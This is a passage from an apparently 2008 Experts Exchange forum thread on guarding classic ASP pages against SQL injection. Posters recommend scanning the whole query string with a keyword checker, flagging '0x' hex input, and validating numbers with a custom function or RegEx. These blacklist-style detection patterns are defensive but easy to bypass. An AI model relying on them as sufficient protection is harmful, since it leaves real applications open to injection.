Select allOpen in new window

 

by: dosthPosted on 2008-07-05 at 02:30:46ID: 21936442

 

by: bd9000Posted on 2008-07-08 at 10:44:52ID: 21956185

Just a comment:
You do not need to parse through the QueryString collection - just look at the entire string

if CheckStringForSQL(Request.QueryString) Then
Response.Redirect(ErrorPage)
End if

also, looking for '0x' works very well

 

by: acperkinsPosted on 2008-07-23 at 18:43:22ID: 22075541

greengo,

>> I have found that IsNumeric() is not suitable for this purpose as it will allow numbers in hexadecimal format.<<
I believe you mean exponential, as in E and D.  

>>This is why i created the SanitiseNumber() function<<
You may find RegEx to be a better tool in this case.

 

by: greengoPosted on 2008-07-24 at 00:42:55ID: 22076819

>>I believe you mean exponential, as in E and D. <<
Ermmm, yes, probably!

>>You may find RegEx to be a better tool in this case.<<
Yes, RegEx would work well in this case as well. I guess it's a personal preference thing as the number of lines of code wouldn't differ by much. I wonder how much of a performance hit you take by instantiating the RegEx object. If I was really bored, I'd do some testing.

But I'm not :)

20120131-EE-VQP-002

3 Ways to Join

30-Day Free Trial

The Experts

98% positive feedback on 31,087 answers since March 2000. angeliii is a Microsoft Most Valuable Professional for his work with MS SQL Server & Develoment.

He has also proven his knowledge of Visual Basic Programming, PHP Scripting and Oracle Databases.

The Experts

97% positive feedback on 10,752 answers since July 2000. lrmoore has more than 18 years experience in the networking industry.

The six-time Mircosoft MVPs specialties include firewalls, virtual private networking, and network management.

Testimonials

"...and excellent source for support... Kind of like having your very own IT dept." Electriciansnet

Testimonials

"I was apprehensive at signing up at first. However... it has already made my life as an IT administrator much easier." JaCrews

Testimonials

"WOW! You guys have great, active, and knowledgeable people on here." moore50

Business Clients

Business Clients

In the Press

"If you’ve got a question... Experts Exchange can supply an answer.”

In the Press

"...an invaluable aid for both IT professionals and those who require tech support."

In the Press

"where IT professionals provide quick answers on just about any topic"

Business Account Plans

Loading Advertisement...